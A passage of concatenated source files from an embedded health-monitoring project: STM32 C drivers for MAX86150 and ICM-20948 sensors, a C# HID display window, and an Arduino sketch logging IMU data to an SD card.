// setPulseWidth(MAX86150_LEDPulseWidth_50);
// =====================================
// LED Pulse Amplitude Configuration
// =====================================
// Default is 0x3F = 12.5mA
// setPulseAmplitudeRed(0x3F);
// setPulseAmplitudeIR(0x3F);
// 0x7F = 25.4 mA
// setPulseAmplitudeProximity(0x7F);
}
// Given a register, read from it, mask the bits, change it
void bitMask(uint8_t reg, uint8_t mask, uint8_t value) {
// Read the contents of the register
uint8_t originalContents = readRegister8(MAX86150_Address, reg);
// Zero-out portions of the register I'm interested in
originalContents = (reg & mask);
// Change contents
writeRegister8(MAX86150_Address, reg, (originalContents | value));
}
uint16_t MAX86150_check() {
uint8_t readPointer = getReadPointer();
uint8_t writePointer = getWritePointer();
uint8_t activeDevices = 3;
uint8_t numberOfSamples = 0;
// Do we have new data
if (readPointer != writePointer) {
// Number of samples to read from the sensor
numberOfSamples = writePointer - readPointer;
if (numberOfSamples < 0) {
numberOfSamples += I2C_BUFFER_LENGTH; // wrap condition
}
//We now have the number of readings, now calc uint8_ts to read
//For this example we are just doing Red and IR (3 uint8_ts each)
uint8_t bytesLeftToRead = numberOfSamples * activeDevices * 3;
// Get ready to read a burst of data
HAL_I2C_Master_Transmit(&hi2c1, MAX86150_Address, &MAX86150_FIFODataRegister, 1, 10);
while(bytesLeftToRead > 0) {
int8_t toGet = bytesLeftToRead;
if(toGet > I2C_BUFFER_LENGTH) {
toGet = I2C_BUFFER_LENGTH - (I2C_BUFFER_LENGTH % (activeDevices * 3));
}
bytesLeftToRead -= toGet;
HAL_I2C_Master_Receive(&hi2c1, MAX86150_Address, &toGet, sizeof(toGet), 100);
while(toGet > 0) {
sense.head++; //Advance the head of the storage struct
sense.head %= STORAGE_SIZE; //Wrap condition
uint8_t temp[sizeof(uint32_t)]; //Array of 4 uint8_ts that we will convert into long
uint32_t tempLong;
temp[3] = 0;
HAL_I2C_Master_Receive(&hi2c1, MAX86150_Address, &temp[2], 1, 100);
HAL_I2C_Master_Receive(&hi2c1, MAX86150_Address, &temp[1], 1, 100);
HAL_I2C_Master_Receive(&hi2c1, MAX86150_Address, &temp[0], 1, 100);
//Convert array to long
memcpy(&tempLong, temp, sizeof(tempLong));
tempLong &= 0x7FFFF; //Zero out all but 18 bits
sense.red[sense.head] = tempLong; //Store this reading into the sense array
if (activeDevices > 1)
{
//Burst read three more uint8_ts - IR
temp[3] = 0;
HAL_I2C_Master_Receive(&hi2c1, MAX86150_Address, &temp[2], 1, 100);
HAL_I2C_Master_Receive(&hi2c1, MAX86150_Address, &temp[1], 1, 100);
HAL_I2C_Master_Receive(&hi2c1, MAX86150_Address, &temp[0], 1, 100);
//Convert array to long
memcpy(&tempLong, temp, sizeof(tempLong));
//Serial.println(tempLong);
tempLong &= 0x7FFFF; //Zero out all but 18 bits
sense.IR[sense.head] = tempLong;
}
if (activeDevices > 2)
{
//Burst read three more uint8_ts - ECG
int32_t tempLongSigned;
temp[3] = 0;
HAL_I2C_Master_Receive(&hi2c1, MAX86150_Address, &temp[2], 1, 100);
HAL_I2C_Master_Receive(&hi2c1, MAX86150_Address, &temp[1], 1, 100);
HAL_I2C_Master_Receive(&hi2c1, MAX86150_Address, &temp[0], 1, 100);
//Serial.println(tempLong);
//Convert array to long
memcpy(&tempLongSigned, temp, sizeof(tempLongSigned));
//tempLong &= 0x3FFFF; //Zero out all but 18 bits
sense.ecg[sense.head] = tempLongSigned;
}
toGet -= activeDevices * 3;
}
} //End while (uint8_tsLeftToRead > 0)
} //End readPtr != writePtr
return (numberOfSamples); //Let the world know how much new data we found
}
uint32_t MAX86150_getFIFORed(void)
{
return (sense.red[sense.tail]);
}
uint32_t getFIFOIR(void)
{
return (sense.IR[sense.tail]);
}
uint8_t getReadPointer() {
return readRegister8(MAX86150_Address, MAX86150_FIFOReadPointer);
}
uint8_t getWritePointer() {
return readRegister8(MAX86150_Address, MAX86150_FIFOWritePointer);
}
// I2C Communication
uint8_t readRegister8(uint8_t address, uint8_t reg) {
// uint8_t data[2];
uint8_t registerContents;
// data[0] = reg;
HAL_I2C_Master_Transmit(&hi2c1, MAX86150_Address, ®, 1, 100);
// Store the data from the I2C Communication in data[1]
HAL_I2C_Master_Receive(&hi2c1, MAX86150_Address, ®isterContents, 1, 100);
return registerContents;
}
// The 7-bit address of device, the register you want to write to, the value you want to write
void writeRegister8(uint8_t SevenBitAddress, uint8_t reg, uint8_t value) {
uint8_t data[2];
data[0] = reg;
data[1] = value;
HAL_StatusTypeDef status = HAL_I2C_Master_Transmit(&hi2c1, MAX86150_Address, data, 2, 100);
return;
}
void setFIFOAverage(uint8_t numSamp) {
bitMask(MAX86150_FIFOConfig, MAX86150_SampleRate_MASK, numSamp);
}
void setADCRange(uint8_t adcRange) {
bitMask(MAX86150_PPGConfig1,MAX86150_ADCRange_MASK, adcRange);
}
void setSampleRate(uint8_t sampleRate) {
bitMask(MAX86150_PPGConfig1,MAX86150_SampleRate_MASK, sampleRate);
}
void setPulseWidth(uint8_t pulseWidth) {
// LEDPulseWidth_50, _100, _200, _400
bitMask(MAX86150_PPGConfig1,MAX86150_LEDPulseWidth_MASK, pulseWidth);
}
void setPulseAmplitudeRed(uint8_t amplitude) {
writeRegister8(MAX86150_Address, MAX86150_LED2_RED, amplitude);
}
void setPulseAmplitudeIR(uint8_t amplitude) {
writeRegister8(MAX86150_Address, MAX86150_LED1_IR, amplitude);
}
void setPulseAmplitudeProximity(uint8_t amplitude) {
writeRegister8(MAX86150_Address, MAX86150_LED1_IR, amplitude);
}
void setFIFORollOver_ENABLE(void) {
bitMask(MAX86150_FIFOConfig,MAX86150_FIFO_ROLLOVER_MASK, MAX86150_FIFO_ROLLOVER_ENABLE);
}
void setFIFORollOver_DISABLE(void) {
bitMask(MAX86150_FIFOConfig,MAX86150_FIFO_ROLLOVER_MASK, MAX86150_FIFO_ROLLOVER_DISABLE);
}
uint8_t getINT1(void) {
return (readRegister8(MAX86150_Address, MAX86150_INTStatus1));
}
uint8_t getINT2(void) {
return (readRegister8(MAX86150_Address, MAX86150_INTStatus2));
}
void enableA_FULL(void) {
bitMask(MAX86150_INT_EN1, MAX86150_INT_A_FULL_FLAG_MASK, MAX86150_INT_A_FULL_ENABLE);
}
void disableA_FULL(void) {
bitMask(MAX86150_INT_EN1, MAX86150_INT_A_FULL_FLAG_MASK, MAX86150_INT_A_FULL_DISABLE);
}
void enablePPG_RDY(void) {
bitMask(MAX86150_INT_EN1, MAX86150_INT_PPG_RDY_MASK, MAX86150_INT_PPG_RDY_ENABLE);
}
void disablePPG_RDY(void) {
bitMask(MAX86150_INT_EN1, MAX86150_INT_PPG_RDY_MASK, MAX86150_INT_PPG_RDY_DISABLE);
}
void enableALC_OVF(void) {
bitMask(MAX86150_INT_EN1, MAX86150_INT_ALC_OVF_MASK, MAX86150_INT_ALC_OVF_ENABLE);
}
void disableALC_OVF(void) {
bitMask(MAX86150_INT_EN1, MAX86150_INT_ALC_OVF_MASK, MAX86150_INT_ALC_OVF_DISABLE);
}
void enablePROX_INT(void) {
bitMask(MAX86150_INT_EN1, MAX86150_INT_PROX_MASK, MAX86150_INT_PROX_ENABLE);
}
void disablePROX_INT(void) {
bitMask(MAX86150_INT_EN1, MAX86150_INT_PROX_MASK, MAX86150_INT_PROX_DISABLE);
}
void clearFIFO(void) {
writeRegister8(MAX86150_Address, MAX86150_FIFOWritePointer, 0);
writeRegister8(MAX86150_Address, MAX86150_OverflowCounter, 0);
writeRegister8(MAX86150_Address, MAX86150_FIFOReadPointer, 0);
}
/**********************************************************************************
* END FUNCTION DEFINITIONS
**********************************************************************************/
<file_sep>/Main-mHealth_Rev2/Src/ICM_20949-2.c
#include "main.h"
#include "ICM_20948_2.h"
/*
*
* SPI abstraction
*
*/
void ICM2_readBytes(uint8_t reg, uint8_t *pData, uint16_t Size) // ***
{
reg = reg | 0x80;
HAL_GPIO_WritePin(ICM2_CS_GPIO_Port, ICM2_CS_Pin, GPIO_PIN_RESET);
HAL_SPI_Transmit(SPI_BUS, ®, 1, 50);
HAL_SPI_Receive(SPI_BUS, pData, Size, 50);
HAL_GPIO_WritePin(ICM2_CS_GPIO_Port, ICM2_CS_Pin, GPIO_PIN_SET);
}
void ICM2_WriteBytes(uint8_t reg, uint8_t *pData, uint16_t Size) // ***
{
reg = reg & 0x7F;
HAL_GPIO_WritePin(ICM2_CS_GPIO_Port, ICM2_CS_Pin, GPIO_PIN_RESET);
HAL_SPI_Transmit(SPI_BUS, ®, 1, 50);
HAL_SPI_Transmit(SPI_BUS, pData, Size, 50);
HAL_GPIO_WritePin(ICM2_CS_GPIO_Port, ICM2_CS_Pin, GPIO_PIN_SET);
}
void ICM2_ReadOneByte(uint8_t reg, uint8_t* pData) // ***
{
reg = reg | 0x80;
HAL_GPIO_WritePin(ICM2_CS_GPIO_Port, ICM2_CS_Pin, GPIO_PIN_RESET);
HAL_SPI_Transmit(SPI_BUS, ®, 1, 50);
while (HAL_SPI_GetState(SPI_BUS) != HAL_SPI_STATE_READY)
;
HAL_SPI_Receive(SPI_BUS, pData, 1, 50);
while (HAL_SPI_GetState(SPI_BUS) != HAL_SPI_STATE_READY)
;
HAL_GPIO_WritePin(ICM2_CS_GPIO_Port, ICM2_CS_Pin, GPIO_PIN_SET);
}
void ICM2_WriteOneByte(uint8_t reg, uint8_t Data) // ***
{
reg = reg & 0x7F;
HAL_GPIO_WritePin(ICM2_CS_GPIO_Port, ICM2_CS_Pin, GPIO_PIN_RESET);
HAL_SPI_Transmit(SPI_BUS, ®, 1, 50);
HAL_SPI_Transmit(SPI_BUS, &Data, 1, 50);
HAL_GPIO_WritePin(ICM2_CS_GPIO_Port, ICM2_CS_Pin, GPIO_PIN_SET);
}
/*
*
* AUX I2C abstraction for magnetometer
*
*/
void i2c2_Mag_write(uint8_t reg,uint8_t value)
{
ICM2_WriteOneByte(0x7F, 0x30);
HAL_Delay(1);
ICM2_WriteOneByte(0x03 ,0x0C);//mode: write
HAL_Delay(1);
ICM2_WriteOneByte(0x04 ,reg);//set reg addr
HAL_Delay(1);
ICM2_WriteOneByte(0x06 ,value);//send value
HAL_Delay(1);
}
static uint8_t ICM2_Mag_Read(uint8_t reg)
{
uint8_t Data;
ICM2_WriteOneByte(0x7F, 0x30);
HAL_Delay(1);
ICM2_WriteOneByte(0x03 ,0x0C|0x80);
HAL_Delay(1);
ICM2_WriteOneByte(0x04 ,reg);// set reg addr
HAL_Delay(1);
ICM2_WriteOneByte(0x06 ,0xff);//read
HAL_Delay(1);
ICM2_WriteOneByte(0x7F, 0x00);
ICM2_ReadOneByte(0x3B,&Data);
HAL_Delay(1);
return Data;
}
void ICM20948_2_READ_MAG(int16_t magn[3])
{
uint8_t mag_buffer[10];
mag_buffer[0] =ICM2_Mag_Read(0x01);
mag_buffer[1] =ICM2_Mag_Read(0x11);
mag_buffer[2] =ICM2_Mag_Read(0x12);
magn[0]=mag_buffer[1]|mag_buffer[2]<<8;
mag_buffer[3] =ICM2_Mag_Read(0x13);
mag_buffer[4] =ICM2_Mag_Read(0x14);
magn[1]=mag_buffer[3]|mag_buffer[4]<<8;
mag_buffer[5] =ICM2_Mag_Read(0x15);
mag_buffer[6] =ICM2_Mag_Read(0x16);
magn[2]=mag_buffer[5]|mag_buffer[6]<<8;
i2c2_Mag_write(0x31,0x01);
}
/*
*
* Read magnetometer
*
*/
void ICM2_ReadMag(int16_t magn[3]) {
uint8_t mag_buffer[10];
mag_buffer[0] =ICM2_Mag_Read(0x01);
mag_buffer[1] =ICM2_Mag_Read(0x11);
mag_buffer[2] =ICM2_Mag_Read(0x12);
magn[0]=mag_buffer[1]|mag_buffer[2]<<8;
mag_buffer[3] =ICM2_Mag_Read(0x13);
mag_buffer[4] =ICM2_Mag_Read(0x14);
magn[1]=mag_buffer[3]|mag_buffer[4]<<8;
mag_buffer[5] =ICM2_Mag_Read(0x15);
mag_buffer[6] =ICM2_Mag_Read(0x16);
magn[2]=mag_buffer[5]|mag_buffer[6]<<8;
i2c2_Mag_write(0x31,0x01);
}
/*
*
* Sequence to setup ICM290948 as early as possible after power on
*
*/
void ICM2_PowerOn(void) {
char uart_buffer[200];
uint8_t whoami = 0xEA;
uint8_t test = ICM2_WHOAMI();
if (test == whoami) {
ICM2_CSHigh();
HAL_Delay(10);
ICM2_SelectBank(USER_BANK_0);
HAL_Delay(10);
ICM2_Disable_I2C();
HAL_Delay(10);
ICM2_SetClock((uint8_t)CLK_BEST_AVAIL);
HAL_Delay(10);
ICM2_AccelGyroOff();
HAL_Delay(20);
ICM2_AccelGyroOn();
HAL_Delay(10);
ICM2_Initialize();
} else {
sprintf(uart_buffer, "Failed WHO_AM_I. %i is not 0xEA\r\n", test);
HAL_UART_Transmit(UART_BUS, (uint8_t*) uart_buffer, strlen(uart_buffer), 100);
HAL_Delay(100);
}
}
uint16_t ICM2_Initialize(void) {
ICM2_SelectBank(USER_BANK_2);
HAL_Delay(20);
ICM2_SetGyroRateLPF(GYRO_RATE_250, GYRO_LPF_17HZ);
HAL_Delay(10);
// Set gyroscope sample rate to 100hz (0x0A) in GYRO_SMPLRT_DIV register (0x00)
ICM2_WriteOneByte(0x00, 0x0A);
HAL_Delay(10);
// Set accelerometer low pass filter to 136hz (0x11) and the rate to 8G (0x04) in register ACCEL_CONFIG (0x14)
ICM2_WriteOneByte(0x14, (0x04 | 0x11));
// Set accelerometer sample rate to 225hz (0x00) in ACCEL_SMPLRT_DIV_1 register (0x10)
ICM2_WriteOneByte(0x10, 0x00);
HAL_Delay(10);
// Set accelerometer sample rate to 100 hz (0x0A) in ACCEL_SMPLRT_DIV_2 register (0x11)
ICM2_WriteOneByte(0x11, 0x0A);
HAL_Delay(10);
ICM2_SelectBank(USER_BANK_2);
HAL_Delay(20);
// Configure AUX_I2C Magnetometer (onboard ICM-20948)
ICM2_WriteOneByte(0x7F, 0x00); // Select user bank 0
ICM2_WriteOneByte(0x0F, 0x30); // INT Pin / Bypass Enable Configuration
ICM2_WriteOneByte(0x03, 0x20); // I2C_MST_EN
ICM2_WriteOneByte(0x7F, 0x30); // Select user bank 3
ICM2_WriteOneByte(0x01, 0x4D); // I2C Master mode and Speed 400 kHz
ICM2_WriteOneByte(0x02, 0x01); // I2C_SLV0 _DLY_ enable
ICM2_WriteOneByte(0x05, 0x81); // enable IIC and EXT_SENS_DATA==1 Byte
// Initialize magnetometer
i2c2_Mag_write(0x32, 0x01); // Reset AK8963
HAL_Delay(1000);
i2c2_Mag_write(0x31, 0x02); // use i2c to set AK8963 working on Continuous measurement mode1 & 16-bit output
return 1337;
}
void ICM2_ReadAccelGyro(void) {
uint8_t raw_data[12];
ICM2_readBytes(0x2D, raw_data, 12);
accel_data_2[0] = (raw_data[0] << 8) | raw_data[1];
accel_data_2[1] = (raw_data[2] << 8) | raw_data[3];
accel_data_2[2] = (raw_data[4] << 8) | raw_data[5];
gyro_data_2[0] = (raw_data[6] << 8) | raw_data[7];
gyro_data_2[1] = (raw_data[8] << 8) | raw_data[9];
gyro_data_2[2] = (raw_data[10] << 8) | raw_data[11];
accel_data_2[0] = accel_data_2[0] / 8;
accel_data_2[1] = accel_data_2[1] / 8;
accel_data_2[2] = accel_data_2[2] / 8;
gyro_data_2[0] = gyro_data_2[0] / 250;
gyro_data_2[1] = gyro_data_2[1] / 250;
gyro_data_2[2] = gyro_data_2[2] / 250;
}
void ICM2_SelectBank(uint8_t bank) {
ICM2_WriteOneByte(USER_BANK_SEL, bank);
}
void ICM2_Disable_I2C(void) {
ICM2_WriteOneByte(0x03, 0x78);
}
void ICM2_CSHigh(void) {
HAL_GPIO_WritePin(ICM2_CS_GPIO_Port, ICM2_CS_Pin, SET);
}
void ICM2_CSLow(void) {
HAL_GPIO_WritePin(ICM2_CS_GPIO_Port, ICM2_CS_Pin, RESET);
}
void ICM2_SetClock(uint8_t clk) {
ICM2_WriteOneByte(PWR_MGMT_1, clk);
}
void ICM2_AccelGyroOff(void) {
ICM2_WriteOneByte(PWR_MGMT_2, (0x38 | 0x07));
}
void ICM2_AccelGyroOn(void) {
ICM2_WriteOneByte(0x07, (0x00 | 0x00));
}
uint8_t ICM2_WHOAMI(void) {
uint8_t spiData = 0x01;
ICM2_ReadOneByte(0x00, &spiData);
return spiData;
}
void ICM2_SetGyroRateLPF(uint8_t rate, uint8_t lpf) {
ICM2_WriteOneByte(GYRO_CONFIG_1, (rate|lpf));
}
/*
*
* Read Accelerometer and Gyro data
*
*/
<file_sep>/Software-mHealth/MainWindow.xaml.cs
using HidSharp;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Timers;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
namespace mHealth
{
/// <summary>
/// Interaction logic for MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
HidStream stream;
public MainWindow()
{
InitializeComponent();
//Look for devices of such VID,PID AND VID
var devs = DeviceList.Local.GetHidDevices(0x0483, 0x5750).ToList();
if(devs.Count != 1)
{
Console.WriteLine("Failed to discover device."); Environment.Exit(2);
}
var device = devs[0];
if (!device.TryOpen(out stream)) { Console.WriteLine("Failed to open device."); Environment.Exit(2); }
Timer myTimer = new Timer();
myTimer.Elapsed += MyTimer_Elapsed;
myTimer.Interval = 50;
myTimer.Start();
}
private void MyTimer_Elapsed(object sender, ElapsedEventArgs e)
{
var bytes = new byte[64];
int count = stream.Read(bytes, 0, bytes.Length);
String str = System.Text.ASCIIEncoding.ASCII.GetString(bytes);
String[] separator = {"|"};
String[] split = str.Split(separator, 5, StringSplitOptions.None);
Console.WriteLine(str);
Console.WriteLine(split[0]);
Console.WriteLine(split[1]);
Console.WriteLine(split[2]);
Console.WriteLine(split[3]);
Dispatcher.Invoke(() =>
{
main_accel.Content = split[0];
main_gyro.Content = split[1];
main_mag.Content = split[2];
main_ppg.Content = split[3];
});
}
}
}
<file_sep>/Main-SDProject_Arduino/stm32_integration.ino
/****************************************************************
* Example2_Advanced.ino
* ICM 20948 Arduino Library Demo
* Shows how to use granular configuration of the ICM 20948
* <NAME> @ SparkFun Electronics
* Original Creation Date: April 17 2019
*
* This code is beerware; if you see me (or any other SparkFun employee) at the
* local, and you've found our code helpful, please buy us a round!
*
* Distributed as-is; no warranty is given.
***************************************************************/
#include "ICM_20948.h" // Click here to get the library: http://librarymanager/All#SparkFun_ICM_20948_IMU
#include "SdFat.h"
// Serial Definition on PA10 for RX and PA9 for TX
HardwareSerial Serial3(PA10, PA9);
#define SERIAL_PORT Serial3
// Forcing SPI usage on PB15 (MOSI), PB14 (MISO), PB13 (SCK), PB1 (CS)
#define USE_SPI // Uncomment this to use SPI
SPIClass SPITwo(PB15, PB14, PB13);
#define SPI_PORT SPITwo // Your desired SPI port. Used only when "USE_SPI" is defined
#define SPI_FREQ 10000000// You can override the default SPI frequency
#define CS_PIN PB1 // Which pin you connect CS to. Used only when "USE_SPI" is defined
#define WIRE_PORT Wire // Your desired Wire port. Used when "USE_SPI" is not defined
#define AD0_VAL 1 // The value of the last bit of the I2C address.
// On the SparkFun 9DoF IMU breakout the default is 1, and when
// the ADR jumper is closed the value becomes 0
#ifdef USE_SPI
ICM_20948_SPI myICM; // If using SPI create an ICM_20948_SPI object
#else
ICM_20948_I2C myICM; // Otherwise create an ICM_20948_I2C object
#endif
//Enabling Software SPI
#if ENABLE_SOFTWARE_SPI_CLASS // Must be set in SdFat/SdFatConfig.h
// Pin numbers in templates must be constants.
const uint8_t SOFT_MISO_PIN = PC11;
const uint8_t SOFT_MOSI_PIN = PC12;
const uint8_t SOFT_SCK_PIN = PC10;
// Chip select may be constant or RAM variable.
const uint8_t SD_CHIP_SELECT_PIN = PD2;
// SdFat software SPI template
SdFatSoftSpi<SOFT_MISO_PIN, SOFT_MOSI_PIN, SOFT_SCK_PIN> sd;
// Log file.
SdFile file;
#define FILE_BASE_NAME "LOG"
String icm_data[7];
void setup() {
SERIAL_PORT.begin(115200);
while(!SERIAL_PORT){};
ICM20948_init();
SDFAT_init();
}
void loop() {
if( myICM.dataReady() ){
myICM.getAGMT(); // The values are only updated when you call 'getAGMT'
// printRawAGMT( myICM.agmt ); // Uncomment this to see the raw values, taken directly from the agmt structure
printScaledAGMT( myICM.agmt); // This function takes into account the sclae settings from when the measurement was made to calculate the values with units
CSV_logData();
// Force data to SD and update the directory entry to avoid data loss.
if (!file.sync() || file.getWriteError()) {
SERIAL_PORT.println("write error");
}
delay(30);
}else{
SERIAL_PORT.println("Waiting for data");
delay(500);
}
}
void SDFAT_init(){
const uint8_t BASE_NAME_SIZE = sizeof(FILE_BASE_NAME) - 1;
char fileName[13] = FILE_BASE_NAME "00.csv";
// Initialize at the highest speed supported by the board that is
// not over 50 MHz. Try a lower speed if SPI errors occur.
if (!sd.begin(SD_CHIP_SELECT_PIN, SD_SCK_MHZ(50))) {
sd.initErrorHalt();
}
// Find an unused file name.
if (BASE_NAME_SIZE > 6) {
SERIAL_PORT.println("FILE_BASE_NAME too long");
}
while (sd.exists(fileName)) {
if (fileName[BASE_NAME_SIZE + 1] != '9') {
fileName[BASE_NAME_SIZE + 1]++;
} else if (fileName[BASE_NAME_SIZE] != '9') {
fileName[BASE_NAME_SIZE + 1] = '0';
fileName[BASE_NAME_SIZE]++;
} else {
SERIAL_PORT.println("Can't create file name");
}
}
if (!file.open(fileName, O_WRONLY | O_CREAT | O_EXCL)) {
SERIAL_PORT.println("file.open");
}
SERIAL_PORT.print(F("Logging to: "));
SERIAL_PORT.println(fileName);
// Write data header.
CSV_writeHeader();
}
// Write data header.
void CSV_writeHeader() {
file.print(F("ms"));
file.print(F(",accel_x"));
file.print(F(",accel_y"));
file.print(F(",accel_z"));
file.print(F(",gyro_x"));
file.print(F(",gyro_y"));
file.print(F(",gyro_z"));
file.print(F(",temp(c)"));
file.println();
}
void CSV_logData() {
// Write data to file. Start with log time in micros.
file.print(millis());
file.write(',');
file.print(icm_data[0]);
file.write(',');
file.print(icm_data[1]);
file.write(',');
file.print(icm_data[2]);
file.write(',');
file.print(icm_data[3]);
file.write(',');
file.print(icm_data[4]);
file.write(',');
file.print(icm_data[5]);
file.write(',');
file.print(icm_data[6]);
file.println();
}
void ICM20948_init(){
#ifdef USE_SPI
SPI_PORT.begin();
#else
WIRE_PORT.begin();
WIRE_PORT.setClock(400000);
#endif
bool initialized = false;
uint32_t now = 0;
pinMode(PA5, OUTPUT);
while( !initialized ){
#ifdef USE_SPI
myICM.begin( CS_PIN, SPI_PORT, SPI_FREQ ); // Here we are using the user-defined SPI_FREQ as the clock speed of the SPI bus
#else
myICM.begin( WIRE_PORT, AD0_VAL );
#endif
SERIAL_PORT.print( F("Initialization of the sensor returned: ") );
SERIAL_PORT.println( myICM.statusString() );
if( myICM.status != ICM_20948_Stat_Ok ){
SERIAL_PORT.println( "Trying again..." );
now = millis();
//Pulsing LED to indicate a failure
digitalWrite(PA5, HIGH);
while(millis() - now <= 500){
if(millis() - now == 250){
digitalWrite(PA5, LOW);
}
}
}else{
initialized = true;
//Rapidly flash LED 3 times to indicate successful connection with ICM20948
digitalWrite(PA5, HIGH);
delay(100);
digitalWrite(PA5, LOW);
delay(100);
digitalWrite(PA5, HIGH);
delay(100);
digitalWrite(PA5, LOW);
delay(100);
digitalWrite(PA5, HIGH);
delay(100);
digitalWrite(PA5, LOW);
delay(100);
}
}
// In this advanced example we'll cover how to do a more fine-grained setup of your sensor
SERIAL_PORT.println("Device connected!");
// Here we are doing a SW reset to make sure the device starts in a known state
myICM.swReset( );
if( myICM.status != ICM_20948_Stat_Ok){
SERIAL_PORT.print(F("Software Reset returned: "));
SERIAL_PORT.println(myICM.statusString());
}
delay(250);
// Now wake the sensor up
myICM.sleep( false );
myICM.lowPower( true );
// The next few configuration functions accept a bit-mask of sensors for which the settings should be applied.
// Set Gyro and Accelerometer to a particular sample mode
// options: ICM_20948_Sample_Mode_Continuous
// ICM_20948_Sample_Mode_Cycled
myICM.setSampleMode( (ICM_20948_Internal_Acc | ICM_20948_Internal_Gyr), ICM_20948_Sample_Mode_Continuous );
if( myICM.status != ICM_20948_Stat_Ok){
SERIAL_PORT.print(F("setSampleMode returned: "));
SERIAL_PORT.println(myICM.statusString());
}
// Set full scale ranges for both acc and gyr
ICM_20948_fss_t myFSS; // This uses a "Full Scale Settings" structure that can contain values for all configurable sensors
myFSS.a = gpm2; // (ICM_20948_ACCEL_CONFIG_FS_SEL_e)
// gpm2
// gpm4
// gpm8
// gpm16
myFSS.g = dps250; // (ICM_20948_GYRO_CONFIG_1_FS_SEL_e)
// dps250
// dps500
// dps1000
// dps2000
myICM.setFullScale( (ICM_20948_Internal_Acc | ICM_20948_Internal_Gyr | ICM_20948_Internal_Mag), myFSS );
if( myICM.status != ICM_20948_Stat_Ok){
SERIAL_PORT.print(F("setFullScale returned: "));
SERIAL_PORT.println(myICM.statusString());
}
// Set up Digital Low-Pass Filter configuration
ICM_20948_dlpcfg_t myDLPcfg; // Similar to FSS, this uses a configuration structure for the desired sensors
myDLPcfg.a = acc_d473bw_n499bw; // (ICM_20948_ACCEL_CONFIG_DLPCFG_e)
// acc_d246bw_n265bw - means 3db bandwidth is 246 hz and nyquist bandwidth is 265 hz
// acc_d111bw4_n136bw
// acc_d50bw4_n68bw8
// acc_d23bw9_n34bw4
// acc_d11bw5_n17bw
// acc_d5bw7_n8bw3 - means 3 db bandwidth is 5.7 hz and nyquist bandwidth is 8.3 hz
// acc_d473bw_n499bw
myDLPcfg.g = gyr_d361bw4_n376bw5; // (ICM_20948_GYRO_CONFIG_1_DLPCFG_e)
// gyr_d196bw6_n229bw8
// gyr_d151bw8_n187bw6
// gyr_d119bw5_n154bw3
// gyr_d51bw2_n73bw3
// gyr_d23bw9_n35bw9
// gyr_d11bw6_n17bw8
// gyr_d5bw7_n8bw9
// gyr_d361bw4_n376bw5
myICM.setDLPFcfg( (ICM_20948_Internal_Acc | ICM_20948_Internal_Gyr), myDLPcfg );
if( myICM.status != ICM_20948_Stat_Ok){
SERIAL_PORT.print(F("setDLPcfg returned: "));
SERIAL_PORT.println(myICM.statusString());
}
// Choose whether or not to use DLPF
// Here we're also showing another way to access the status values, and that it is OK to supply individual sensor masks to these functions
ICM_20948_Status_e accDLPEnableStat = myICM.enableDLPF( ICM_20948_Internal_Acc, false );
ICM_20948_Status_e gyrDLPEnableStat = myICM.enableDLPF( ICM_20948_Internal_Gyr, false );
SERIAL_PORT.print(F("Enable DLPF for Accelerometer returned: ")); SERIAL_PORT.println(myICM.statusString(accDLPEnableStat));
SERIAL_PORT.print(F("Enable DLPF for Gyroscope returned: ")); SERIAL_PORT.println(myICM.statusString(gyrDLPEnableStat));
SERIAL_PORT.println();
SERIAL_PORT.println(F("Configuration complete!"));
}
// Below here are some helper functions to print the data nicely!
void printPaddedInt16b( int16_t val ){
if(val > 0){
SERIAL_PORT.print(" ");
if(val < 10000){ SERIAL_PORT.print("0"); }
if(val < 1000 ){ SERIAL_PORT.print("0"); }
if(val < 100 ){ SERIAL_PORT.print("0"); }
if(val < 10 ){ SERIAL_PORT.print("0"); }
}else{
SERIAL_PORT.print("-");
if(abs(val) < 10000){ SERIAL_PORT.print("0"); }
if(abs(val) < 1000 ){ SERIAL_PORT.print("0"); }
if(abs(val) < 100 ){ SERIAL_PORT.print("0"); }
if(abs(val) < 10 ){ SERIAL_PORT.print("0"); }
}
SERIAL_PORT.print(abs(val));
}
void printRawAGMT( ICM_20948_AGMT_t agmt){
SERIAL_PORT.print("RAW. Acc [ ");
printPaddedInt16b( agmt.acc.axes.x );
icm_data[0] = agmt.acc.axes.x;
SERIAL_PORT.print(", ");
printPaddedInt16b( agmt.acc.axes.y );
icm_data[1] = agmt.acc.axes.y;
SERIAL_PORT.print(", ");
printPaddedInt16b( agmt.acc.axes.z );
icm_data[2] = agmt.acc.axes.z;
SERIAL_PORT.print(" ], Gyr [ ");
printPaddedInt16b( agmt.gyr.axes.x );
icm_data[3] = agmt.gyr.axes.x;
SERIAL_PORT.print(", ");
printPaddedInt16b( agmt.gyr.axes.y );
icm_data[4] = agmt.gyr.axes.y;
SERIAL_PORT.print(", ");
printPaddedInt16b( agmt.gyr.axes.z );
icm_data[5] = agmt.gyr.axes.z;
SERIAL_PORT.print(" ], Mag [ ");
printPaddedInt16b( agmt.mag.axes.x );
SERIAL_PORT.print(", ");
printPaddedInt16b( agmt.mag.axes.y );
SERIAL_PORT.print(", ");
printPaddedInt16b( agmt.mag.axes.z );
SERIAL_PORT.print(" ], Tmp [ ");
printPaddedInt16b( agmt.tmp.val );
icm_data[6] = agmt.tmp.val;
SERIAL_PORT.print(" ]");
SERIAL_PORT.println();
}
void printFormattedFloat(float val, uint8_t leading, uint8_t decimals){
float aval = abs(val);
if(val < 0){
SERIAL_PORT.print("-");
}else{
SERIAL_PORT.print(" ");
}
for( uint8_t indi = 0; indi < leading; indi++ ){
uint32_t tenpow = 0;
if( indi < (leading-1) ){
tenpow = 1;
}
for(uint8_t c = 0; c < (leading-1-indi); c++){
tenpow *= 10;
}
if( aval < tenpow){
SERIAL_PORT.print("0");
}else{
break;
}
}
if(val < 0){
SERIAL_PORT.print(-val);
}else{
SERIAL_PORT.print(val);
}
}
String parseFormattedFloat(float val, uint8_t leading, uint8_t decimals){
String returnString = "";
float aval = abs(val);
if(val < 0){
returnString+= "-";
}
for( uint8_t indi = 0; indi < leading; indi++ ){
uint32_t tenpow = 0;
if( indi < (leading-1) ){
tenpow = 1;
}
for(uint8_t c = 0; c < (leading-1-indi); c++){
tenpow *= 10;
}
if( aval < tenpow){
}else{
break;
}
}
if(val < 0){
returnString += (-val);
